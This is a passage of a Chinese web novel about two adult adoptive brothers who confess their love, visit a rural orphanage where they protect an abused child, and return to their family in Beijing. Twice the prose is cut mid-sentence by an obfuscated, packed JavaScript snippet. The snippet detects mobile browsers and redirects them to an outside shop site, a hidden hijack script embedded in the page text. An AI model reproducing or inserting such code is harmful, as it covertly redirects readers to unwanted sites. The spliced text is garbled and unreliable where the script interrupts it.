章长叙触碰着章长宁的脸侧,带着一如既往的珍视,“你傻不傻?我上次不都说了,让你遇到这种事情不要……” 章长叙一想到有可能出现的后果,向来沉稳的声线变了调,“章长宁。” 他颤着喊了一声,用拥抱代替了所有的爱意,“对不起。” 章长宁感受到他的情绪波动,几乎同时出了声,“对不起。” “……” “二哥对不起。” 章长宁积攒了许久的情绪终于随着这一怀抱爆发,紧绷的弦彻底断裂,“幸好你没事,幸好你没出事。” 他崩溃地搂紧章长叙,像是抓住了黑暗中的唯一浮木,“对不起,我那天不应该故意和你说那些话,对不起,我不是真的想赶你走……” “我、我想你留下来,我想你陪着我,我……”章长宁哽咽了一声,总算直视了内心真正的需求,真心话,“我也想和你在一起。” “……” 章长叙心脏一震,微微撤出点距离。 章长宁摇了摇头,抓着章长叙不肯放,“可我真的不敢,我不能这样做,爸妈知道了会怪我的,我……我不能让他们伤心。” “宁宁,我知道,我都知道。” 章长叙怕他情绪过于激动,温声安抚,“别哭,也别道歉。” 章长宁被自责的情绪绑架着,哭得上气不接下气,“我知道我那天让你也伤心了,对不起,哥,对不起,我错了……” 章长叙不想听见这些令他心碎的道歉,低头就吻了上去。 浅尝辄止的吻,酸涩里混杂着眼泪的咸。 章长叙不敢在这个时候太激烈,轻轻含吻着柔软的唇瓣,又点到为止地分开,“宁宁,乖,别哭了,我都明白。” “……” 章长宁望着近在咫尺的脸,喃喃,“不,你不明白。” 内心的感情一旦被正视、被放开,就再也无法往回收了。 章长宁忽地搂紧了章长叙的臂膀,仰头像是献祭般地继续了这个吻,含糊却又认真,“章长叙,我爱你。” 不是十几年如一日的称呼,而是连名带姓地喊了眼前这个人。 不是弟弟对于哥哥的爱,不是亲情。 而是作为一个成年男人,对另外一个成年男人,最直接最明了也最坦诚的告白,是爱情。 章长宁喃喃重复,“我真的……很爱你……” 章长叙内心的克制防线瞬间崩塌,用力回吻了上去,“我知道。” 他抚摸着章长宁的后脑勺和颈侧,温柔安抚,可亲吻来得又凶又烈,比起所谓的欲望,更像是这些年情感最铺天盖地的宣泄。 章长宁没什么接吻技巧,在这方面甚至算得上小白,他有些受不住章长叙的蛮横吸吮,却还是仰着头由心配合。 呼吸交融在一块,眼泪像是被热气蒸发,却把眼里的红意熏得更浓了。 “唔。” 章长宁还在发抖,但这一次不是因为恐惧,单纯只是因为缺氧、因为承受不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262318|143596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住这份爱意。 章长叙似乎察觉到他的不适应,终于放缓了攻势。 他微微撤离了距离,见着章长宁发懵拼命呼吸后,又浅浅地啄吻了几口,“宁宁,深呼吸,慢点吸换气,别待会儿又难受了。” 章长宁“嗯”了一声,这会儿哭倒是不哭了,就是后知后觉地不太好意思。 章长叙换了一个姿势,侧躺着将他重新拥入怀中,“我们聊聊?” 章长宁不敢看他,“聊什么?” 章长叙把关心放在第一位,“还难不难受?” 章长宁如实回答,“头疼,还有点晕,胸口也还有点堵着。” “宁宁,以后真的不能再这样了,你今天发作得比上次还要厉害,你知道吗?要不是正好在县医院,那……” “我知道了。” 章长宁低声应下,“我就是遇上你的事情,太着急了。” 章长叙哪里舍得怪他?温柔地抚摸着他的后背,“有些真心话,你既然已经说出口了,在我这边就没有反悔的机会。” 章长宁有点热,“嗯。” 但随即而来的是化不开的担忧。 章长叙知道他在想什么,“爸妈那边,我们先不着急透露,宁宁,你相信我,比起让我们各自结婚成家,他们一定更希望我们能够得到幸福。” 之前的那些相亲结婚的催促和念头,也是基于长辈们不知道他们俩的性取向和感情。 “真的吗?” “当然。” “你放心把这一切交给我,好吗?”章长叙抵着他的鼻尖,发问,“信不信得过我?” “信。” 章长宁压了压那些不安的念头,“我当然信。” 经过这么一遭,他已经彻底看清楚了自己的心,哪怕未来遇到再多的阻碍、父母的问责,他都没办法逃避自己对章长叙的爱,他离不开章长叙。 不是喜欢,而是爱,这份爱早已经深入他的骨血,彻底理不干净了。 章长叙得到他的回答,忍不住笑了笑。 “……” 章长宁一想到两人刚才做过的事,以及悄然转变的关系,下意识地垂下了视线,害羞地不敢去看章长叙。 结果这一看,他就发现了端倪—— 浅蓝色的小白猫被套,好像是他离家前用的那一床? 章长宁不由自主地低头蹭了蹭,“你怎么还带了我的被套?” 被套上沾着他熟悉的椰奶气味,是他常年用惯的那款沐浴露,不过除此之外,还沾上了章长叙身上的味道,很淡的、却很慑人的薄荷香。 “你说呢?” 章长叙将他搂得更紧了些,像是抓紧了什么失而复得的宝贝,“跑得比兔子还快,害得我担心得整夜睡不好。” 章长宁的心热热的,有种说不上来的感觉。 他既觉得心疼和自责,但同时有种隐秘的雀跃,原来不止有他一个人会因为对方而失眠。 章长宁往章长叙的怀里缩了缩,闷笑一声,“对不起嘛,我知道错了,以后不逃了。” 没了一开始道歉声里的沉重,这会儿听着更像是撒娇。 两人早已经相处了二十年,如今这样的亲密根本就是水到渠成。 章长叙捏了捏他的耳垂,“饿不饿?你昏睡了三四个小时,不过,我已经让人联系上丹珠院长,说了一下情况,没让她担心。” “不饿。” 章长宁确实还难受着,没什么胃口,“哥,你退烧了吗?还难受吗?” “退烧了,不难受。” 章长叙这会儿也不想逞强了,“但最近确实有些缺觉,你陪我再睡一会儿。” 章长宁腾出手,也摸了摸他的脑袋,“好。” 两人就这么安静地躺了一会儿,章长宁才听见一阵轻微的声线,忍不住说,“我怎么听见有声音?” 章长叙反手摸出枕头底下的腕表,“是这个,你送我的,我一直带在身边。” 哪怕医院里不适合戴露出这种定制名表,章长叙也会贴着带着。 章长宁盯着这块腕表,又想起了什么,他抿了抿唇,刻意没多说。 “宁宁。” 章长叙读懂了他欲言又止的眼神,忽地将手表递到他的耳边,“我从收到的那一天起就想问,这表针转动时不规律的声响……” 哒——哒——哒—— 那是一种很闷、很低、很沉,却很有分量的动静。 章长叙对上他的视线,“是不是你的心跳?” “……” 章长宁没有接话,眼眶却红了—— 腕表指针转动的声音,确实不是寻常的跳动声,而是他从定制初期就已经录好的心跳,属于他攒满爱意的心跳。 曾几何时,章长宁那见不得光的私心,有且仅有地藏在了这里,每分每秒,日复一日。 他以为章长叙永远不会知道。 章长叙从他的沉默里确认了答案,将腕表贴近了自己的心脏,“我听见了。” 31.【第031章】 没了噩梦的困扰,章长宁这一觉睡得尤其安稳。 等他再次自然醒时,扰人的头疼和体内的沉重感都已经消失了,整个身子轻飘飘又暖烘烘的,很舒服。 “宁宁?睡醒了?” “唔……” 章长宁对上章长叙投来的视线,迷迷糊糊地呆了两秒,还以为自己是做梦,干脆转身换了个姿势,又哼哼唧唧地打了个哈欠。 眼看着睡在怀里的人又要溜出去,章长叙臂上一使劲就将他搂了回来,“睡迷糊了?” “……” 耳畔传来温热的气息,酥酥麻麻的。 章长宁偏头对上章长叙,脑海中才回忆起昨天傍晚发生的一切,这才从困意里彻底挣脱,“哥?早、早上好。” 简单一句话,就羞得脸颊有些发热。 这不是他和章长叙第一次同床共枕,但眼下他们的关系不一样了。 “转回来。” 章长叙顺势让他转回来面对面,低头贴了贴他的额头,“已经退烧了,还难受吗?胸口还疼不疼?” “没了。” 章长宁这会儿意识更清醒。 他想起昨晚在昏暗中的亲吻和坦白,后知后觉地冒出了害羞劲,躲着章长叙的眼神不敢直接看,“那什么……几点了?” “还不到八点。” 昨晚的章长叙原本想着两人先小睡一会儿,中途就喊章长宁起来吃点东西,结果自己抱着失而复得的宝贝,睡得也挺沉的。 两人睡得早,一口气睡到现在,也算是彻底补足了精力。 “哦。” 章长宁眼神乱飘,“那还挺早。” 章长叙瞧出怀中人的不好意思,伸手捏了捏他的下巴,“别想不认账,亲都亲了,你也承认了对我的感情了,这事没有后悔药了,从昨晚起,我们就不止是哥哥和弟弟,还是——” “我知道了!没不认账!” 章长宁伸手堵住他的嘴,哼唧,“你别提醒了,怪、怪不好意思的。” 章长叙的唇贴着他的掌心,只能闷出一声轻笑。 热气溢在掌心,惹得心尖也跟着雀跃发烫。 章长宁连忙松开,攥了攥手掌,他想说点什么,又不知道该说什么。 当了二十年的“亲兄弟”,又暗恋了这么些年,如今突然转变了身份,反倒有些束手束脚了。 章长叙捏在下颚的手往边上一划,拍了拍他的颈侧,“现在要起床吗?收拾一下去外面吃早餐?” 章长宁已经躺了很久了,“好,起床吧。” “嗯,那我先开个灯。” 章长叙翻身坐了起来,打开酒店内的顶灯。 他看着章长宁身上的白色T恤,又想了想县城这两天的天气,“昨天就简单给你查了一下身体,换了件干净衣服,你待会儿再洗个澡?” “这件薄毛衣正好穿。” 章长叙拿起床头的毛衣,又转身看向自己的行李箱,“我给你找找裤子,可能会长了些。” 章长宁摊开手里的毛衣,是蓝白色不规则的流水分割图样,又发现了新大陆,“欸,这件毛衣本来就是我的吧?你怎么也随身带着呢?” 章长叙的衣柜里几乎全是黑白灰三色,连深蓝色、深驼色都是少有的“亮色”了,穿衣风格和他整个人一样,显得正经又禁欲。 章长叙还在翻找行李箱,听见这话也不回头,“嗯,是你的,上面有你的味道,我闻着好睡觉。” 看似平静的一句话,迅速给章长宁听得脸热: 什么叫做衣服上有他的味道? 这是情话吧?他以前怎么没觉得章长叙这么会说情话? “……” 章长叙给他翻找出一条干净的黑色长裤,转身就盯着他笑,“怎么脸红成这样?” 章长宁说,“热的。” 他连忙转移话题,“哥,你是不是也要洗澡?你先去吧,我再赖一会儿床。” “好。” 章长叙将换洗衣物递给他,“尺码可能都会有点大,讲究一下。” 章长宁点了点头,然后看着对方进了浴室,关了门,但没上锁。 他垂眸看着递到床边的黑色长裤,以及边上独立包装的内裤,乍一眼就看清了上面标注的尺码大小。 “……” 我天! 他以前怎么都没关注这方面的事情! 一秒,两秒,三秒—— 章长宁的脸颊彻底爆红,他连忙拿起床头的矿泉水,咕噜噜地灌了一口冷水,小眼神又忍不住往包装袋上瞥,然后又给自己灌了一口。 内心有什么东西蠢蠢欲动,有点羞耻,但又夹杂着一丝期待。 … 川城一年四季都偏凉,早晚温度都低,何况这阵子还下了雨。 好在章长叙洗漱完后,浴室里有了热气,不过淋浴器的水温还是不稳定,时冷时热的。 章长宁怕自己重复感冒,速战速决地冲了澡,他换上独立包装的干净内裤,顿时讪讪,“还真有点偏大了。” 不过他没在这种事情上“自卑”太久,套上了干净毛衣和黑色裤子。 洗手台边上,章长叙已经抢先一步给他准备好了干净牙刷,甚至已经贴心挤好了牙膏。 章长宁咧开嘴傻乐,开始刷牙。 章长叙在外面问,“宁宁?洗好了吗?我进来洗个手。” “嗯唔。” 章长宁还刷着牙,含糊着应了一句。 浴室门也没上锁,章长叙开门就进来了,浴室里的热气往外散去,只有镜面还被一层雾气遮着。 章长叙洗了手,顺带就拿纸巾擦了擦浴室镜面,做完这一切的他没离开,而是站定在章长宁的身后,伸手搂抱着他。 “……” 章长宁一紧张,差点把牙膏泡沫咽进去。 他连忙漱口,“哥,我刷牙呢。” 章长叙点头,很自然地说着黏人的话,“我知道,你刷你的,我抱我的,没打扰你。” “……” 章长宁狐疑地看了几眼镜子里的章长叙,没说话,抓紧时间漱口、洗脸。 等到将自己收拾得清爽干净,他才转过身,“哥。” “嗯?” 章长叙的手还是半搭着他的腰,没松开。 章长宁问,“我怎么总觉得你不太一样了?” 以前总是他喜欢跟在章长叙的身边,有意无意地赖着对方不肯走,这一觉醒来,感觉他们俩的角色对换了似的。 章长叙听懂他的意思,也不反驳,“当哥哥,和当恋人,能一样?” 他以前习惯了人前人后都克制,生怕对章长宁做出越界的、不妥当的行为,但今时不同往日,他要是还像“亲哥哥”那样相处,才是不正常。 “……” 恋人? 章长宁听见这个称谓,努力压住上扬的嘴角,“哦~” 他瞥见章长叙微微起伏的喉结,突然蠢蠢欲动,故意用指腹摩挲了两下,“哥。” 章长叙抓住他的手,呼吸沉了沉,“做什么?” 章长宁察觉到他的微妙变化,没忍住那点撩拨的兴奋劲,仰头就亲了亲他的嘴角,“早安。” 说完,他就想要撤出章长叙的怀抱,故作淡定地往外走。 结果刚走出一步,身后的章长叙就直接拦腰将他抱了回来,“章长宁。” 章长宁被腰间施加的力道弄得一懵,“啊?” 再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267975|143596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眨眼,章长叙就扣住他的后脑勺,吻了下来。 大概是刚刷过牙的缘故,隐隐湿润的嘴唇还带着薄荷味的清香,勾得人忍不住近一步索取着去品尝。 章长宁睫毛颤了颤,突然有点不敢呼吸。 昨晚两人虽然也接吻了,但那个时候周围的环境是暗的,思维和意识也因为崩溃而混乱,不像现在—— 浴室的灯光明亮,大脑的意识清晰运转,唇上的摩挲很用力,舌尖的纠缠也很用力。 他身体的所有感官都在告诉他:章长叙在吻他。 他们真的在接吻,像恋人那样。 “……” 意识到这点的章长宁没了调皮的撩拨劲,反倒有些紧张地哽了一声,踉跄地想要往后倒,“唔……嗯……” 章长叙抱稳他,引导性十足,“闭眼。” 章长宁的睫毛又颤了颤,听话照做。 整颗心脏都在怦怦跳。 这种感觉很陌生,但他很喜欢。 在紧张和害羞的双重促使下,章长宁反倒用力搂住了章长叙的臂膀,学着回应起来。 … 直到坐进了街边的早餐铺子,章长宁的脑袋还在发懵。 他望着章长叙买早餐的身影,不由自主地摸了摸还在发麻的嘴唇—— 他们刚刚亲了多久?半小时有了吧?这不是没谈过恋爱吗?吻技怎么这么好?他刚才是不是还被亲到哼了几句? 我天! 也太羞耻了! 正想着,章长叙就端着早餐托盘走了进来。 章长宁立刻将手放下,但还是迟了半步。 章长叙看见了他的小动作,笑了声。 章长宁看了看左右无人,低声,“感觉亲肿了。” 章长叙将筷子和勺子递给他,“没有,就是挺红的。” “……” 章长宁抿了抿唇,喝了口豆浆,“你待会儿还要去县医院吗?这公益医疗是不是快结束了?” “今天不是我轮班,只要写个近期的工作总结就行,大部队的工作今天基本上就结束了,明天休整一天,应该是明晚统一做大巴车回川城市中心,后天的飞机。” 章长叙如实告知,停顿了一会儿才问,“宁宁,跟我回帝京?” 章长宁喝豆浆的动作慢了些,心里还是有些纠结。 章长叙看穿他的犹豫,“等你回了帝京,你和以前一样做自己喜欢的工作就行,我们的事情不着急告诉爸妈,一切交给我去解决,好吗?” 章长宁想了想,点头,“好。” 有些事情,总归是要面对的,章家对他有养育之恩,他不可能一辈子只当缩头乌龟。 章长宁看了一眼早餐店外的天气,“今天估计不会下雨了,我还得回瓦县一趟,免得阿嫲担心,还有爱心小学……” 虽然他只是临时的义工老师,本来就没安排太多的重要课时,纯属有空帮忙上上课,但真要离开的话,总是要和校长以及孩子们告个别的。 章长叙说,“我陪你去。” 章长宁回答,“没事,你留下来写工作总结吧。” 章长叙坚持,“我陪你去,工作总结晚上回来写。” “……” 章长宁愣了愣才反应过来,玩笑,“怎么?章医生这是怕我逃跑啊?” 章长叙却不是玩笑,“嗯,怕你又跑了,找不到你。” 章长宁被这句平静的话刺得钝痛,收起那点笑容。 他握住章长叙藏在桌前的手,保证,“哥,我想通了,以后不会再逃了,你别害怕。” “嗯。” 章长叙与他十指相扣,也不藏着自己的占有欲了,“你要是再敢跑一次,看我怎么收拾你。” 32、【第032章】 “瓦县地方小,都是沿着这条县河建设的,再往里走就是原始的森林,听塔叔说还有野兽出没,你看——” 章长宁一边走着,一边给章长叙介绍,“听说绕过那片林子就离雪山近了。” “嗯。” 章长叙手里提着不少礼物,问,“那座桥对岸就是你义工教书的小学?” “是,我听阿嫲说初始资金是从福利院的募捐款里拨出来的,后来县政府重视我们这边的教育问题,又拨了款、请了团队来建设。” 正说着,章长宁就眼尖地发现了桥对面的一幕—— 一个穿着破烂的小孩边跑边哭,正在往桥上冲,他的身后还跟着一名青年男子,挥着木棒就作势要逮着打他。 章长宁察觉到不对劲,连忙说,“哥,你等我一下!” 说着,他就立刻跑了过去。 “欸!宁宁!” 章长叙也注意到这情况,连忙跟上。 青年男子的步伐迈得长,没几步路就已经逮住了破烂小孩,眼看着和手臂一样粗的木棍就要往小孩子的身上落—— 章长宁连忙一把将小孩子抢护了起来,“你做什么呢!” ——砰! 木棍的力道来不及回收,略微蹭到了章长宁的手臂上。 “嘶!” 迟来一步的章长叙眼色瞬变,“宁宁!” 他丢下满手的礼盒,上前第一时间护住章长宁,“怎么样?伤到哪里了没有?” “没事。” 章长宁忍着那点痛,低头看向怀里的小不点,“你呢?有没有事?” 小不点摇了摇头,噙着眼泪不敢说话。 章长宁看见怀中的小孩子,没由来地想到了小时候的自己,“这孩子才多大!你打他做什么?” “你谁啊你?劳资打自家外甥关你屁事!” 话音刚落,一道熟悉的声音就从背后传来,“小七,出什么事了?” 章长宁侧过身,看清来人,“阿嫲。” 原本丹珠只是想要到河边洗点儿东西,没想到大老远地就看见了章长宁几个人站在桥上拉扯,连忙走上前来询问情况。 她的视线一触及章长宁怀中瑟缩的小孩子,顿时了然。 “多陶,你又打阿宝做什么?” 被喊“多陶”的青年男子对上丹珠的询问,没好气地说,“阿嫲,你少管,这小畜生不听话,就该打!打死他!” “……” 章长宁听见这番粗鲁的话,“你……” 没等出声争论,边上的章长叙就用眼神拦住了他的冲动。 章长叙拿出自己的手机,脸色平静得没有一丝波澜,“稍等,我打电话报警。” “报警?” “你拿木棍伤了我弟的手臂,他现在举都举不起来了,报警最好解决,后续医药费也要有着落。” “……” 章长宁闻言,右手顿时垂得更厉害了,还假意捂住手臂、做出疼到极致的表情,“唉哟唉哟,赶紧的,我感觉像是断了。” 多陶被他们的操作看傻了眼,“你放屁!” 章长叙没说话,只是将手机贴到了耳边,视线却一瞬不瞬地盯向了多陶。 没有凶光,没有愤怒,越是平静,反而越慑人。 多陶是因为输了钱、有气没处撒才冲着小孩发作的,如今看到章长叙的身高和气场,难免有些发憷。 “多陶,你看在我的面子上,今天就算了吧!” 上了年纪的丹珠深知多陶的脾性,看似给了台阶,实际上带着警告,“人家章医生是从帝京来的,是县政府请他们团队来给老人家们看病的,闹大了不好。” “……” 多陶是当地出了名的地痞混混,整日游手好闲。 可他再混,也不想和“县政府”之类的扯上关系,他看了一眼丹珠,顺着杆子往下爬,“老子不跟你们一般计较。” 多陶将木棍随手丢在了河道里,对着阿宝放狠话,“小畜生,可别让我再逮到你。” 说完,转身就往桥对岸走。 丹珠暗松一口气,“肯走了就好,你们和这种癞皮狗扯上没必要,章医生,别打电话了。” 她在当地生活了这么些年,比章长宁他们小年轻更懂得人情世故和实际情况。 章长叙放下电话,实话实说,“占线,打不通。” 章长宁跟着笑,“我还以为你故意吓唬他呢。” 说着,他又低头看向怀里躲着的小不点儿,“你叫阿宝?别怕别怕,你那小舅舅已经走了。” “这孩子,也是可怜哦。” 丹珠主动将脏兮兮的阿宝抱了起来,“来,阿宝,饿了吧?阿嫲带你去洗洗脸、洗洗手。” 她不忘看向章长宁,“小七,章医生,你们也来。” “嗯。” 章长叙捡起地上的东西,礼貌开口,“院长,不好意思,第二次上门还闹了这点小插曲,这些是我买给你和孩子们的一点儿心意。” 章长宁想要帮忙去拿,却被章长叙低声拒绝,“别动,手还疼不疼?” “没事。” 丹珠瞧出他们间转变的氛围,“人来就行了,还带什么东西?来,先回院子里再说。” “好。” “嗯。” … 一行人回到福利院。 院长让他们随意坐坐,就先带着脏兮兮的阿宝去里屋收拾洗漱了。 这个时间点,福利院里的其他小孩都在学校里旁听上课,院里显得很安静。 章长宁搬来两张老旧的小木椅,“哥,将就坐一下。” 章长叙抓住他的手腕,要求,“把毛衣袖子掀起来,让我看看你的手臂。” “没事,我刚才配合你装样子呢,早就不疼了。” 章长宁掀开宽松的毛衣袖子,露出白皙的一节手臂,被木棍蹭到的地方有点发红,但不算严重。 章长叙松了口气,“幸好没事,你刚才就这么贸贸然地跑上去抢人,太危险了。” “我就是见不得那人打小孩!” 章长宁坐在木椅上,顺带拉着章长叙也坐下,“那叫阿宝的小孩子,我之前就在学校门口见过好几次,没想到今天又遇上了。” “你想啊,今天得亏是我遇上了,要不然那木棍打在小阿宝身上,肯定要把孩子给打伤了。” “哥,我和你说——” 章长宁指着院子里的一角,“我小时候,那个位置还有滑滑梯呢,上面还有小房子。” “我觉得我那会儿的个子应该和阿宝差不多高,那时候院里的孩子比现在多,大孩子们也挺爱欺负我的。” “我每回拿到好吃的,就喜欢一个人躲在那个角落,但还是会被他们抢走小面包,我那时候就在想啊,要是我也能有哥哥保护我就好了。” “虽然记忆是有点模糊了,但我第一次跟着爸爸回到章家,看见你和大哥,应该是挺高兴的?” 章长叙还记着章长宁刚回到家的情景,“倒也不全是。” “嗯?” “当年爸爸把你带回家,告诉我和大哥,你就是弟弟的时候,我不信。” 不仅不相信,而且还有些冷漠。 章长叙记得,章长宁那会儿就已经会乖乖喊他“二哥”了,但他却说“别这么叫我,你不是我亲弟弟”。 章长宁瞪大了眼睛,“啊?你这么凶啊?我都有点记不清了。” “嗯。” 章长叙还记得很清楚,“你还忍着眼泪,委屈巴巴地不敢哭,还是大哥陪着你玩积木、耐心哄着你。” “结果没过多久,你就开始鼓掌,奶声奶气地夸他:‘大哥好厉害’。” “我瞧了两眼,想不出玩个积木而已,有什么厉害的?” “但你看见我的视线后又不敢鼓掌了,我又在想:我有那么可怕吗?” 章长宁还是第一次听见章长叙提及小时候刚见面的事,隐约回想起对方小时候那张冰块脸,顿时笑出声,“嗯!谁让你不承认我是你弟弟的?我不怕你怕谁啊?” 章长叙抓住他的手,也应了一声,“嗯,一直就没把你当成亲弟弟,现在也是。” 章长宁听出了话里的其他意思,耳根子一热,顺嘴嘟囔,“我怕了你了。” 这回轮到章长叙笑。 里屋的脚步声渐渐响起,院长又带着阿宝走了出来。 阿宝的脸蛋和小手都已经洗干净了,这会儿正捧着一块热乎乎的糌粑,眼睛亮晶晶的,带着点这个年纪该有的可爱和灵动。 章长宁连忙将手抽了出来,“阿嫲!” 丹珠瞧见了两人的小动作,却没说破,她将碗里的糌粑递给章长宁,“来,你和章医生也尝尝。” “哥,快吃!” 章长宁递给章长叙,热心推荐,“阿嫲做的糌粑味道一绝,是不是啊?小阿宝?” 阿宝这会儿没再逃了,点了点头。 章长宁见他没一会儿就将手里的糌粑吃干净了,又招手道,“过来,我这块儿也给你吃。” 阿宝迟疑了两秒,还是故作勇气走了过去。 章长叙瞧见这小孩身上的破衣服,问,“院长,这孩子的父母呢?” 院长叹了口气,“哎,早没了。” 她简略说了说阿宝的身世,有些惆怅,“这孩子可怜,但现在他那舅舅还是监护人,他不肯放人,我们街坊邻里也没办法。” “……” 章长宁听得心里难过。 大概是阿宝让他想到了小时候的自己,他内心隐约动了领养的念头,只可惜,事实摆在眼前—— 章长宁想到自己都还没彻底安稳下来的生活,不知道未来到底会发展成什么样,因此也不敢轻易去接下照顾一个小孩子的重担。 冲动才是不靠谱、不负责的。 章长宁暗中叹了口气,只好先压下这个不切实际的念头。 “小七,你今天带着章医生过来,是不是有话要和我说?”丹珠主动挪开了话题,猜测,“要回帝京了?” “……” 章长宁沉默了一瞬,认真点了点头,“阿嫲,有些事情,我想清楚了,所以我要回去面对。” 丹珠欣慰地笑了笑,“好,既然如此,阿嫲就不多问了。” 她知道,章长宁注定不会长留在瓦县,她更希望,章长宁要从这里飞出去、飞得远远的、飞到真正幸福的地方去。 “阿嫲,我知道你不舍得离开这里。” 丹珠将自己的心血全部放在了这家小小的福利院,哪怕到了现在这个年纪,还照顾着很多离了父母、没了亲人的小孩子。 章长宁说得对,她确实舍不得走、也离不开。 “阿嫲,等我解决好了帝京的事,一有空就回来看你!还会经常给你打电话、给你寄东西!你的药要按时吃,等下次回来,我再带你好好去市里检查!” “好好好,阿嫲都知道了。” 丹珠拍了拍章长宁的手,眼里闪着不舍的泪花,温柔又慈爱,“只要你好好的,阿嫲就放心了,只要你想回来,这里永远是你的家。” “嗯,我知道。”章长宁又有些想哭,强忍着抱住丹珠,“谢谢阿嫲。” “……” 章长叙将这一切看在眼里,没有打破这份温情。 在院子里闲聊了一会儿后,章长宁才回到小卧室里收拾东西。 趁着这个空隙,丹珠把章长叙交到了一旁,“章医生,这次回去,麻烦你替我向你父母问个好,多谢他们这些年对小七的照顾。” “阿嫲。” 章长叙跟着章长宁改了称呼,“你喊我长叙就好。” 丹珠笑着点头,欲言又止,“长叙,你……” 章长叙明白她的想法,抢声保证,“阿嫲,我都明白。” 他会照顾好章长宁,不会再让对方受任何委屈了。 丹珠拍了拍他的肩膀,一切尽在不言中,“好,那就好。” … 章长宁是跟着医疗团队一块返京的,上午的航班,抵达章家别墅门口时,还不到下午两点。 “……” 章长宁望着熟悉的别墅大门,步伐有些停顿,“哥。” 章长叙察觉到了他的迟疑,“嗯?” “我……” 章长宁面露纠结,“爸妈会不会生我的气啊?” “不会,有我在。” 章长叙回答,想要去牵章长宁的手。 章长宁小幅度地躲了躲,嘟囔着提醒,“不行,回家了。” 说着,他就深呼一口气,主动走进了别墅里屋。 电子门的解锁声响起。 坐在沙发等待的沈眠一下子就激动起身,她瞧见推门而入的章长宁,“小宁,你总算回来了。” 她连忙走近,短短几步路就红了眼眶,“你这孩子,出远门也不和家里打声招呼,知道这一个月家里有多担心你吗?” 不仅是章长叙,章渡同样动用了人脉去打探寻人,得亏章长叙外出正好遇上,给家里打了电话报平安。 “……妈。” 章长宁张了张嘴,一贯熟悉的称呼这会儿变得有些迟疑,“对不起,我知道错了,我、我前阵子心情不太好,所以想着出去散散心。” 沈眠落下眼泪,又赶紧擦了擦,“是妈妈不好,是妈妈没做到位。” 对柏续失而复得的惊喜冲昏了她的大脑,哪怕她极力想着在两个孩子中间避免偏向,但还是让章长宁有了受委屈的感觉。 “小宁,妈妈也和你道个歉——” “前阵子多少是有点忽略了你,知道你在解除……领养关系这件事上受了委屈。”沈眠眉心显露愧疚,“你离开的这段时间,我和你爸也反思了很多,知道我们也有很多做得不到位的地方。” 她拉住章长宁偏凉的小手,“但你要相信,我们始终拿你当亲生儿子对待,这件事永远不会有改变。” “……” 章长宁呼吸一紧,既是感动也是愧疚,“我、我知道,是我做得不好,以后不会随随便便任性出走了。” 就是因为章渡和沈眠是发自真心拿他当亲儿子看待,所以他才害怕以后会看到对方失望和愤怒的眼神。 章长叙深深地看了章长宁一样,出声转移话题,“妈,爸今天不在家?我和长宁还没吃午饭呢,让阿姨弄点吃的,我们垫垫肚子。” “早就阿姨给你们备上了!” 沈眠看着眼前的章长宁,悬着心总算落回了肚子里,“集团今天有季度会议,你爸和你们大哥都过去了,你们大嫂前两天带着念念回了趟娘家,今晚也该回来了。” 章长宁想了想,主动发问,“妈,这段时间,柏续有来过家里吗?” “……” 沈眠愣了愣,眸底晃过一丝失落,“没呢。” 她示意佣人去厨房准备,不想在孩子们面前泄露自己的难过,“他可能还没准备好吧,没事,慢慢来。” 章长宁显露一丝愧疚,不自觉地看向了边上的章长叙。 其实他能猜得到,柏续一定是照顾到了他的情绪,所以才没有背着他就和章家接触。 章长叙察觉到了什么,问,“妈,我给延枭打个电话?正好我和长宁今天回来了,如果他们有空的话,咱们一家人聚聚?奶奶最近在小叔家住着,也可以接回来。” 章长宁连忙配合点头,“嗯!我好长时间没见柏续了!” 沈眠原本还不太敢在章长宁面前提及柏续,如今一听见他们两人主动提及,心弦微松,“那、那就打电话问问?但别勉强。” “放心,我心里有数。” 章长叙应了一声,拿起手机走到一边。 他想了想,还是决定直接询问当事人的意见,于是拨通了柏续的手机号。 可惜,连打了两个都没人接。 “……” 章长叙无奈,只能又改打给好友商延枭。 电话同样响了很长时间,就在章长叙以为又要没人接的时候,对面总算有了动静。 “喂。” 是商延枭的声音,就是听着比平时低哑了。 “是我。” 章长叙暗松了一口气,眼神不自觉地瞥向了餐厅里的章长宁,“你和柏续在忙什么?打你们那么多个电话都没人接?” “在睡觉。” “下午三点了还在睡觉?” 电话那头的商延枭似乎才反应过来,清了一下嗓子,“怎么了?” 章长叙开门见山,“晚上有空吗?家里人想请你和柏续吃个饭。” 商延枭回答,“明晚行吗?今晚可能……不太赶得过去。” 章长叙难得有些发愣,还没等他反应过来,商延枭在电话里的语调就带上了点笑意,“他还睡着,估计醒了也没精力去。” 尾调上扬,还隐约沾点炫耀的意思。 “……” 章长叙不是傻子,哪里还能不明白这话里的潜台词?之前怎么没发现好友这么暗戳戳地能秀? 大概是觉得这电话打了太久,待在餐厅的章长宁起身走近。 章长叙的注意力有所偏移,迅速找回自己的声线,“来自医生的温馨提醒,有些事情过度了可不好。” 商延枭的回复来得很刻意,“章医生,你最好替以后的自己记得这句话,挂了。” 电话利索挂断。 不用多想,就知道商延枭是又抱着柏续补觉去了。 “哥。” 章长宁走近,不放心地问,“怎么样了?柏续和三哥他们来吗?” “延枭接的电话,今天时间太赶了,他们明晚来。” “那就好。” 章长宁开心点头,又觉得章长叙挂完电话后的神色有些微妙,“你怎么了?” 